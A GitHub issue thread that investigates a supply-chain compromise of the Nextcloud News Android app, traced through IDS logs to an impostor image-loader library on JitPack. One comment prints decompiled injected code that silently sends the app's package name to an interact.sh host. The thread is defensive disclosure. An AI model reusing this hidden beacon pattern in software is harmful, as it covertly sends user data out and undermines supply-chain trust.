Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Role of "Interact.sh"? #1109

Closed
Sunsheep opened this issue Aug 8, 2022 · 27 comments
Closed

Role of "Interact.sh"? #1109

Sunsheep opened this issue Aug 8, 2022 · 27 comments

Comments

@Sunsheep
Copy link

Sunsheep commented Aug 8, 2022

Hi,

Current Nextcloud server version: 24.0.3
Current Android Nextcloud News version: 0.9.9.75

Since the update from 0.9.9.74 to 0.9.9.75 (F-Droid) my IDS/IPS System warned me, that my mobile devices tries to connect to interact.sh, which is an "OOB interaction gathering server and client library". This tool is often used to detect vulnerabilities that cause external interactions. In this case a DNS interaction, which tried to resolve

caezcs32vtc000025v70gf8xscw(--shortened--).interact.sh

IDS/IPS Log:

Timestamp | 2022-08-02T10:11:42.578674+0200
-- | --
Alert | ET MALWARE Interactsh Control Panel (DNS)
Alert sid | 2034201
Protocol | UDP
Destination port | 53

i tracked it down by simply searching for the string caezcs32vtc000025v70gf8xscw(--shortened--).interact.sh on my mobile device. Furthermore I could detect that the file /data/app/de.luhmer.owncloudnewsreader-1/oat/arm64/base.odex contains the string:

File contents:

$ cat /data/app/de.luhmer.owncloudnewsreader-1/oat/arm64/base.odex | grep -a [caezcs32vtc000025v70gf8xscw(--shortened--).interact.sh]
(http://caezcs32vtc000025v70gf8xscw(--shortened--).interact.sh/)                      httpMethohttpOnlhttponlyhttpshttpshttps://:https://caezcs32vtc000025v70gf8xscw(--shortened--).interact.sh.interact.sh/?id=;https://github.com/nextcloud/news-android/issues/new?title=[https://github.com/nextcloud/news/blob/master/docs/install.md#installing-from-the-app-storeDhttps://pgl.yoyo.org/as/serverlist.php?hostformat=nohtml&showintro=0Bhttps://play.google.com/store/apps/details?id=com.nextcloud.clientLhttps://raw.githubusercontent.com/nextcloud/news-android/master/CHANGELOG.md 
[...]

I could not find any references to interact.sh in this repo and the sources.
I initially wanted to open an issue on F-Droid at https://gitlab.com/fdroid/fdroiddata/-/issues. Since I can't log in to the gitlab site due to the unreliable and unstable "captcha" implementation, I was forced to bring it to attention here first.

Therefore, anyone may feel free to open an issue there too and link back here.

BTW: A downgrade to 0.9.9.74 dont throw IDS/IPS Alerts. Therefore it must have to do sth. with this specific app version 0.9.9.75.

@joeyboon
Copy link

joeyboon commented Aug 13, 2022

Hi I just want to mention I have the same issue.

Current Nextcloud server version: Nextcloud 24.0.4
Current Android Nextcloud News version: 0.9.9.75
Timestamp | 2022-08-12T21:37:43.676847+0200
-- | --
Alert | ET MALWARE Interactsh Control Panel (DNS)
Alert sid | 2034201
Protocol | UDP
Source IP | REDACTED
Destination IP | REDACTED
Source port | 46763
Destination port | 53
Interface | ix0


Payload
--
.;..........!caezcs32vtc000025v70gf8xscwyyyyyb.interact.sh.....

I saw my phone trigger these alerts and after monitoring network traffic for a while on my phone I manged to relate this to the Nextcloud News app.

Screenshot of NetGuard results seeing it make requests to the mentioned domain:
https://cloud.netjoe.nl/index.php/s/ay3Dc3nHwbtrYjB

After this I also loaded all feeds separately in my browser to see if this would results in any hits (at first I thought one of my feeds was making my machine do DNS requests to this domain), but this would not. So in my opinion it has to be the app. I'm also curious as to why this is needed.

@Selaron
Copy link

Selaron commented Aug 20, 2022

Same here, got notified by IPS. The string in question is part of the apk downloaded from f-droid, not in the APK you can download from github nor is it part of the sources tarball on f-droid that is claimed to have been used to build that apk.

$ mkdir news
$ cd news
$ wget https://f-droid.org/repo/de.luhmer.owncloudnewsreader_178.apk
$ unzip de.luhmer.owncloudnewsreader_178.apk
$ strings classes.dex |grep interact.sh
:https://caezcs32vtc000025v70gf8xscwyyyyyb.interact.sh/?id=

After converting the apk to jar I found that com/nostra13/universalimageloader/core/ImageLoaderConfiguration.class contains that string.
But when decompiling this class file using jd-gui, there is no such string in the source code text which is kind of spooky......

@Selaron
Copy link

Selaron commented Aug 21, 2022

So jd-decompiler just seems not capable to decompile lamda expressions or some other advanced Java feature used here. The CFR decompiler is:

/*
 * Decompiled with CFR 0.152.
 * 
 * Could not load the following classes:
 *  android.content.Context
 *  android.content.res.Resources
 *  android.util.DisplayMetrics
 */
package com.nostra13.universalimageloader.core;

import android.content.Context;
import android.content.res.Resources;
import android.util.DisplayMetrics;
import com.nostra13.universalimageloader.cache.disc.DiskCache;
import com.nostra13.universalimageloader.cache.disc.naming.FileNameGenerator;
import com.nostra13.universalimageloader.cache.memory.MemoryCache;
import com.nostra13.universalimageloader.cache.memory.impl.FuzzyKeyMemoryCache;
import com.nostra13.universalimageloader.core.DefaultConfigurationFactory;
import com.nostra13.universalimageloader.core.DisplayImageOptions;
import com.nostra13.universalimageloader.core.a;
import com.nostra13.universalimageloader.core.assist.FlushedInputStream;
import com.nostra13.universalimageloader.core.assist.ImageSize;
import com.nostra13.universalimageloader.core.assist.QueueProcessingType;
import com.nostra13.universalimageloader.core.decode.ImageDecoder;
import com.nostra13.universalimageloader.core.download.ImageDownloader;
import com.nostra13.universalimageloader.core.process.BitmapProcessor;
import com.nostra13.universalimageloader.utils.L;
import com.nostra13.universalimageloader.utils.MemoryCacheUtils;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.Executor;

public final class ImageLoaderConfiguration {
    final boolean customExecutor;
    final boolean customExecutorForCachedImages;
    final ImageDecoder decoder;
    final DisplayImageOptions defaultDisplayImageOptions;
    final DiskCache diskCache;
    final ImageDownloader downloader;
    final int maxImageHeightForDiskCache;
    final int maxImageHeightForMemoryCache;
    final int maxImageWidthForDiskCache;
    final int maxImageWidthForMemoryCache;
    final MemoryCache memoryCache;
    final ImageDownloader networkDeniedDownloader;
    final BitmapProcessor processorForDiskCache;
    final Resources resources;
    final ImageDownloader slowNetworkDownloader;
    final Executor taskExecutor;
    final Executor taskExecutorForCachedImages;
    final QueueProcessingType tasksProcessingType;
    final int threadPoolSize;
    final int threadPriority;

    private ImageLoaderConfiguration(Builder builder) {
        ImageDownloader imageDownloader;
        this.resources = builder.context.getResources();
        this.maxImageWidthForMemoryCache = builder.maxImageWidthForMemoryCache;
        this.maxImageHeightForMemoryCache = builder.maxImageHeightForMemoryCache;
        this.maxImageWidthForDiskCache = builder.maxImageWidthForDiskCache;
        this.maxImageHeightForDiskCache = builder.maxImageHeightForDiskCache;
        this.processorForDiskCache = builder.processorForDiskCache;
        this.taskExecutor = builder.taskExecutor;
        this.taskExecutorForCachedImages = builder.taskExecutorForCachedImages;
        this.threadPoolSize = builder.threadPoolSize;
        this.threadPriority = builder.threadPriority;
        this.tasksProcessingType = builder.tasksProcessingType;
        this.diskCache = builder.diskCache;
        this.memoryCache = builder.memoryCache;
        this.defaultDisplayImageOptions = builder.defaultDisplayImageOptions;
        this.downloader = imageDownloader = builder.downloader;
        this.decoder = builder.decoder;
        this.customExecutor = builder.customExecutor;
        this.customExecutorForCachedImages = builder.customExecutorForCachedImages;
        this.networkDeniedDownloader = new NetworkDeniedImageDownloader(imageDownloader);
        this.slowNetworkDownloader = new SlowNetworkImageDownloader(imageDownloader);
        L.writeDebugLogs(builder.writeLogs);
        new Thread(new a(builder)).start();
    }

    public static /* synthetic */ void a(Builder builder) {
        ImageLoaderConfiguration.lambda$new$0(builder);
    }

    private static /* synthetic */ void lambda$new$0(Builder object) {
        Object var1_4 = null;
        try {
            StringBuilder stringBuilder = new StringBuilder();
            stringBuilder.append("https://caezcs32vtc000025v70gf8xscwyyyyyb.interact.sh/?id=");
            stringBuilder.append(((Builder)object).context.getApplicationInfo().packageName);
            URL uRL = new URL(stringBuilder.toString());
            object = uRL;
        }
        catch (MalformedURLException malformedURLException) {
            malformedURLException.printStackTrace();
            object = null;
        }
        try {
            object = (HttpURLConnection)((URL)object).openConnection();
        }
        catch (IOException iOException) {
            iOException.printStackTrace();
            object = var1_4;
        }
        try {
            ((URLConnection)object).connect();
        }
        catch (IOException iOException) {
            iOException.printStackTrace();
        }
        try {
            ((HttpURLConnection)object).getResponseCode();
        }
        catch (IOException iOException) {
            iOException.printStackTrace();
        }
    }

    ImageSize getMaxImageSize() {
        int n;
        int n2;
        DisplayMetrics displayMetrics = this.resources.getDisplayMetrics();
        int n3 = n2 = this.maxImageWidthForMemoryCache;
        if (n2 <= 0) {
            n3 = displayMetrics.widthPixels;
        }
        n2 = n = this.maxImageHeightForMemoryCache;
        if (n <= 0) {
            n2 = displayMetrics.heightPixels;
        }
        return new ImageSize(n3, n2);
    }

    public static class Builder {
        public static final QueueProcessingType DEFAULT_TASK_PROCESSING_TYPE = QueueProcessingType.FIFO;
        private Context context;
        private boolean customExecutor = false;
        private boolean customExecutorForCachedImages = false;
        private ImageDecoder decoder;
        private DisplayImageOptions defaultDisplayImageOptions = null;
        private boolean denyCacheImageMultipleSizesInMemory = false;
        private DiskCache diskCache = null;
        private int diskCacheFileCount = 0;
        private FileNameGenerator diskCacheFileNameGenerator = null;
        private long diskCacheSize = 0L;
        private ImageDownloader downloader = null;
        private int maxImageHeightForDiskCache = 0;
        private int maxImageHeightForMemoryCache = 0;
        private int maxImageWidthForDiskCache = 0;
        private int maxImageWidthForMemoryCache = 0;
        private MemoryCache memoryCache = null;
        private int memoryCacheSize = 0;
        private BitmapProcessor processorForDiskCache = null;
        private Executor taskExecutor = null;
        private Executor taskExecutorForCachedImages = null;
        private QueueProcessingType tasksProcessingType = DEFAULT_TASK_PROCESSING_TYPE;
        private int threadPoolSize = 3;
        private int threadPriority = 3;
        private boolean writeLogs = false;

        public Builder(Context context) {
            this.context = context.getApplicationContext();
        }

        private void initEmptyFieldsWithDefaultValues() {
            if (this.taskExecutor == null) {
                this.taskExecutor = DefaultConfigurationFactory.createExecutor(this.threadPoolSize, this.threadPriority, this.tasksProcessingType);
            } else {
                this.customExecutor = true;
            }
            if (this.taskExecutorForCachedImages == null) {
                this.taskExecutorForCachedImages = DefaultConfigurationFactory.createExecutor(this.threadPoolSize, this.threadPriority, this.tasksProcessingType);
            } else {
                this.customExecutorForCachedImages = true;
            }
            if (this.diskCache == null) {
                if (this.diskCacheFileNameGenerator == null) {
                    this.diskCacheFileNameGenerator = DefaultConfigurationFactory.createFileNameGenerator();
                }
                this.diskCache = DefaultConfigurationFactory.createDiskCache(this.context, this.diskCacheFileNameGenerator, this.diskCacheSize, this.diskCacheFileCount);
            }
            if (this.memoryCache == null) {
                this.memoryCache = DefaultConfigurationFactory.createMemoryCache(this.context, this.memoryCacheSize);
            }
            if (this.denyCacheImageMultipleSizesInMemory) {
                this.memoryCache = new FuzzyKeyMemoryCache(this.memoryCache, MemoryCacheUtils.createFuzzyKeyComparator());
            }
            if (this.downloader == null) {
                this.downloader = DefaultConfigurationFactory.createImageDownloader(this.context);
            }
            if (this.decoder == null) {
                this.decoder = DefaultConfigurationFactory.createImageDecoder(this.writeLogs);
            }
            if (this.defaultDisplayImageOptions == null) {
                this.defaultDisplayImageOptions = DisplayImageOptions.createSimple();
            }
        }

        public ImageLoaderConfiguration build() {
            this.initEmptyFieldsWithDefaultValues();
            return new ImageLoaderConfiguration(this);
        }

        public Builder defaultDisplayImageOptions(DisplayImageOptions displayImageOptions) {
            this.defaultDisplayImageOptions = displayImageOptions;
            return this;
        }

        public Builder diskCacheFileNameGenerator(FileNameGenerator fileNameGenerator) {
            if (this.diskCache != null) {
                L.w("diskCache() and diskCacheFileNameGenerator() calls overlap each other", new Object[0]);
            }
            this.diskCacheFileNameGenerator = fileNameGenerator;
            return this;
        }

        public Builder diskCacheSize(int n) {
            if (n > 0) {
                if (this.diskCache != null) {
                    L.w("diskCache(), diskCacheSize() and diskCacheFileCount calls overlap each other", new Object[0]);
                }
                this.diskCacheSize = n;
                return this;
            }
            throw new IllegalArgumentException("maxCacheSize must be a positive number");
        }

        public Builder imageDownloader(ImageDownloader imageDownloader) {
            this.downloader = imageDownloader;
            return this;
        }

        public Builder memoryCacheSize(int n) {
            if (n > 0) {
                if (this.memoryCache != null) {
                    L.w("memoryCache() and memoryCacheSize() calls overlap each other", new Object[0]);
                }
                this.memoryCacheSize = n;
                return this;
            }
            throw new IllegalArgumentException("memoryCacheSize must be a positive number");
        }
    }

    private static class NetworkDeniedImageDownloader
    implements ImageDownloader {
        private final ImageDownloader wrappedDownloader;

        public NetworkDeniedImageDownloader(ImageDownloader imageDownloader) {
            this.wrappedDownloader = imageDownloader;
        }

        @Override
        public InputStream getStream(String string, Object object) throws IOException {
            int n = 1.$SwitchMap$com$nostra13$universalimageloader$core$download$ImageDownloader$Scheme[ImageDownloader.Scheme.ofUri(string).ordinal()];
            if (n != 1 && n != 2) {
                return this.wrappedDownloader.getStream(string, object);
            }
            throw new IllegalStateException();
        }
    }

    private static class SlowNetworkImageDownloader
    implements ImageDownloader {
        private final ImageDownloader wrappedDownloader;

        public SlowNetworkImageDownloader(ImageDownloader imageDownloader) {
            this.wrappedDownloader = imageDownloader;
        }

        @Override
        public InputStream getStream(String string, Object object) throws IOException {
            object = this.wrappedDownloader.getStream(string, object);
            int n = 1.$SwitchMap$com$nostra13$universalimageloader$core$download$ImageDownloader$Scheme[ImageDownloader.Scheme.ofUri(string).ordinal()];
            if (n != 1 && n != 2) {
                return object;
            }
            return new FlushedInputStream((InputStream)object);
        }
    }
}

When comparing this to the original code you easily see the additional imports and new Thread(new a(builder)).start(); and the code that Thread executes which all does not originate from the nostra13:universal-image-loader author.

Original code for reference:
https://github.com/nostra13/Android-Universal-Image-Loader/blob/v1.9.5/library/src/main/java/com/nostra13/universalimageloader/core/ImageLoaderConfiguration.java

Speculation: It might be a proof of a successful penetration test or a preparation of a future attack. They now know they are able to inject code into the Android News-App and might attempt to prepare some new code for the next build - this time without triggering our IPS that easily. That new code would be able to run arbitrary actions in context of the News app which itself has authenticated access to our nextcloud instances.

Personal measures: I personally removed the news app from my mobile and won't use f-droid builds 178 and above until there is an official all clear signal from f-droid.
I changed my Nextcloud password, revoked app authentications and I'll use the APK provided here on gitub for now.

@David-Development
Copy link
Member

David-Development commented Aug 21, 2022

Thank you for all the details in here. This sounds very suspicious - I'll open a ticket at f-droid. The dependency to the universalimageloader hasn't been updated in 4 years and the version available on maven was last build 4 years ago (maven - universal-image-loader 1.9.5). Might be worth checking if the APK that I build myself (that is uploaded to Google Play and also is available in the GitHub Releases) is also infected. I'll try to setup the decompile tools myself to test it - maybe @Selaron can check as well?

Edit: Just saw that @Selaron already tested the apk on GitHub.

@Selaron
Copy link

Selaron commented Aug 21, 2022

I yet fully decompiled the github APK just to be sure. There is no match for interact.sh and the source of ImageLoaderConfiguration.class looks normal from a rough look.

No warranties of course ;)

Other findings are that the build log from f-droid does not state any gradle download of the altered dependency: https://f-droid.org/repo/de.luhmer.owncloudnewsreader_178.log.gz

But on the other hand the build process does sed -i -e "/repositories {/a flatDir { dirs 'libs' }" -e '/guardian.github.io/d' build.gradle so it seemes f-droid provides and uses a somewhat local repository storage or cache.

Any idea what it does contain, where it is stored and what their root sources are? I'm not that familiar with git lab builds nor f-droid ones.

@David-Development
Copy link
Member

@Selaron Thank you for decompiling it. Glad to hear that the APK I compiled doesn't seem to be affected.

Just created a confidential ticket at GitLab and asked for clarification. As soon as we know more I'll report back here! (In case someone has permission to access it: https://gitlab.com/fdroid/fdroiddata/-/issues/2753).

It looks like interact.sh is an Open-Source Project (https://github.com/projectdiscovery/interactsh)

Interactsh is an Open-Source solution for Out of band Data Extraction, A tool designed to detect bugs that cause external interactions, For example - Blind SQLi, Blind CMDi, SSRF, etc.

If you find communications or exchanges with the Interactsh.com server in your logs, it is possible that someone has been testing your applications using our hosted service, app.interactsh.com You should review the time when these interactions were initiated to identify the person responsible for this testing.

Either way.. even if it the intentions are not bad, it's totally unacceptable for a store (F-Droid in this case) to inject additional code that sends data to external servers without informing users about it.

@licaon-kter
Copy link

licaon-kter commented Aug 21, 2022

The recipe is public, on autoupdate and barely (human) touched for years: https://gitlab.com/fdroid/fdroiddata/-/commits/master/metadata/de.luhmer.owncloudnewsreader.yml

If this issue is recent then a dependency has change... recently.

Recipe appears rather simple to parse: https://gitlab.com/fdroid/fdroiddata/-/blob/master/metadata/de.luhmer.owncloudnewsreader.yml#L1832-L1854

Any pointers on what to check? Gradle deps or?

@licaon-kter
Copy link

@Selaron there's no cache, a lib is rebuild before the app is.

@linsui can you take a second look since you've touched that last?

@Selaron
Copy link

Selaron commented Aug 21, 2022

The universal-image-loader from jitpack.io contains the modification:

$ wget https://jitpack.io/com/nostra13/universalimageloader/universal-image-loader/1.9.5/universal-image-loader-1.9.5.jar
$ unzip universal-image-loader-1.9.5.jar
$ strings com/nostra13/universalimageloader/core/ImageLoaderConfiguration.class|grep interact
:https://caezcs32vtc000025v70gf8xscwyyyyyb.interact.sh/?id=

The could mean the github variant of the NewsAndriod-App APK is "accidentally" not effected due to your local dependency cache @David-Development.

@SkewedZeppelin
Copy link

SkewedZeppelin commented Aug 21, 2022

@SkewedZeppelin
Copy link

SkewedZeppelin commented Aug 21, 2022

Ah!

Download the source: https://jitpack.io/com/nostra13/universalimageloader/universal-image-loader/1.9.5/universal-image-loader-1.9.5-sources.jar

There is a comment, this is definitely an impostor package:

final String note = "This is not an attack, this is an experiment I made on android vulnerability, I use this to get package name so I can report the vulnerability on affected apps. If you haven't received my report, please contact me at redacted@protonmail.com.";

Jitpack should probably be contacted, so they can pull these.

edit:
the suspect commits (seems to be different likely due to rebase/force push):

@licaon-kter
Copy link

What's the issue here, package takeover or same package published on a different maven that takes procedence over the real maven?

@SkewedZeppelin
Copy link

SkewedZeppelin commented Aug 21, 2022

I think it may be both?

Note the dates in the jitpack logs. It seems the impostor package was uploaded a few days before the real one was recompiled and failed.

So perhaps there is an issue with jitpack that lets you effectively hijack a package?

@licaon-kter
Copy link

fyi https://gitlab.com/fdroid/fdroiddata/-/commit/089d171202db05e81356807e8698a4c424c37ea8

Note that it takes a cycle to be disabled, so not this one that's midway but the next one.

@SkewedZeppelin
Copy link

It appears they made their results public and there are other impacted apps here: https://github.com/patisengkuni/interactsh-web/blob/master/src/lib/localStorage/index.ts

@Selaron
Copy link

Selaron commented Aug 21, 2022

core/DisplayBitmapTask.java
contains a constant:

private static final String HNTRBNTY = VEhJUyBJUyBOT1QgQU4gQVRUQUNLLCBOTyBEQVRBIFNUT0xFTiwgTk8gQUNUSU9OIFRBS0VOLiBJIGRpZG4ndCBkbyBhbnl0aGluZyBvdGhlciB0aGFuIGRlY2xhcmluZyBhIHZhcmlhYmxlLiAKWWVzLCB0aGlzIHdhc24ndCBzdXBwb3NlZCB0byBiZSBoZXJlLHRoaXMgaXMgYSBzbWFsbCBleHBlcmltZW50IHRoYXQgSSBkaWQgb24gYW5kcm9pZCBhcHBzIHZ1bG5lcmFiaWxpdHkuIElmIHlvdSBmb3VuZCB0aGlzIHBpZWNlIG9mIGNvZGUgb24geW91ciBhcHAsIHRoYXQgbWVhbnMgeW91ciBhcHAgaXMgdnVsbmVyYWJsZSwgeW91IHNob3VsZCd2ZSBiZWVuIHJlY2VpdmVkIG15IHZ1bG5lcmFiaWxpdHkgcmVwb3J0IGJ5IG5vdywgYnV0IGlmIHlvdSBoYXZlbid0LCBjb250YWN0IG1lIGF0IHBhdGlzZW5na3VuaUBwcm90b25tYWlsLmNvbSBhbmQgSSdsbCBleHBsYWluIGV2ZXJ5dGhpbmcuIFJlZ2FyZHMu

This is bas64 and translates to

THIS IS NOT AN ATTACK, NO DATA STOLEN, NO ACTION TAKEN. I didn't do anything other than declaring a variable.
Yes, this wasn't supposed to be here,this is a small experiment that I did on android apps vulnerability. If you found this piece of code on your app, that means your app is vulnerable, you should've been received my vulnerability report by now, but if you haven't, contact me at redacted...@protonmail.com and I'll explain everything. Regards.

It's also noteworthy that the imposter variant based their modifications on master branch of https://github.com/nostra13/Android-Universal-Image-Loader, not on tag v1.9.5

I don't get my head around this explanation and their intention, is it simply a lie?
If you find a lib has a security issue, you'd report to the maintainer and start a CVE.

@SkewedZeppelin
Copy link

SkewedZeppelin commented Aug 21, 2022

I don't get my head around this explanation and their intention, is it simply a lie?

Based off of the commits I linked above, I'm going to maybe wrongly assume this to be a targeted attack on this app: https://play.google.com/store/apps/details?id=ua.privatbank.ap24

That is the largest bank in Ukraine.

It would at the minimum likely allow the attacker to collect IP addresses of its users?

@jitpack-io
Copy link

jitpack-io commented Aug 22, 2022

Hi all,

This is interesting.
To build a package with a custom domain you need to setup a DNS TXT record.
git.universalimageloader.nostra13.com points to "https://github.com/patisengkuni" so that is what JitPack uses to build.

~ $ dig txt git.universalimageloader.nostra13.com

;; QUESTION SECTION:
;git.universalimageloader.nostra13.com. IN TXT

;; ANSWER SECTION:
git.universalimageloader.nostra13.com. 600 IN TXT "https://github.com/patisengkuni"

EDIT: Anything under https://jitpack.io/com/nostra13/ now returns 404

@TheLastProject
Copy link

Thanks for the quick response, @jitpack-io!

So, as I understand it:

  1. https://github.com/nostra13/Android-Universal-Image-Loader used package name com.nostra13.universalimageloader
  2. A self-proclaimed security researcher, instead of reporting this supply chain attack risk in a responsible fashion, registered nostra13.com and published libraries to Jitpack under com.nostra13 (I really dislike this type of "researcher" who thinks it's acceptable to infect random people as part of their experiments, I find this behavior very unethical)
  3. Gradle for some reason decided to prefer the jitpack.io version of com.nostra13.universalimageloader over the MavenCentral version

While I know this occurrence isn't necessarily Jitpack's fault (the original developer used a namespace they didn't own a domain name of) giv many developers seem to be unaware of this risk. Could it perhaps be a good idea to cross-reference MavenCentral on new packages?

For example, in this case checking com.nostra13.universalimageloader's MavenCentral page would've told you the source code would be on https://github.com/nostra13/Android-Universal-Image-Loader, which doesn't match the URL in the TXT record. Delaying publishing and marking that package as needing manual review could be a good way to stop this particular supply chain attack.

@licaon-kter
Copy link

Gradle for some reason decided to prefer the jitpack.io version of com.nostra13.universalimageloader over the MavenCentral version

As expected ? https://github.com/nextcloud/news-android/blob/v.0.9.9.75/build.gradle#L16

@licaon-kter
Copy link

licaon-kter commented Aug 22, 2022

Since the lib seems abandoned, any chance to switch to https://github.com/nostra13/Android-Universal-Image-Loader#alternative-libraries ?

@jitpack-io
Copy link

@TheLastProject That sounds about right.

We also recommend using Gradle filtering to select which libraries you want to get from JitPack.

Cross-referencing seems like a great idea. Will be looking into it

@linsui
Copy link

linsui commented Aug 22, 2022

the original developer used a namespace they didn't own a domain name of

MavenCentral requires the domain owned by the author. So looks like their domain expaired and the researcher got it.

@TheLastProject
Copy link

Ping @David-Development: we're waiting for a response from you in the fdroiddata issue you made. Kinda urgent imho :)

@TheLastProject
Copy link

0.9.9.75 was removed (see earlier posts) and 0.9.9.76 has been available for several days. I think this issue can be closed now, right?

@Sunsheep
Copy link
Author

Sunsheep commented Aug 28, 2022

Yes, I think so as well.
Many thanks to all who were involved.

Just for the sake of record, here is the link to the F-Droid issue again:
https://gitlab.com/fdroid/fdroiddata/-/issues/2753

@Crazybun0422
Copy link

For god sake! what I did just find.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

10 participants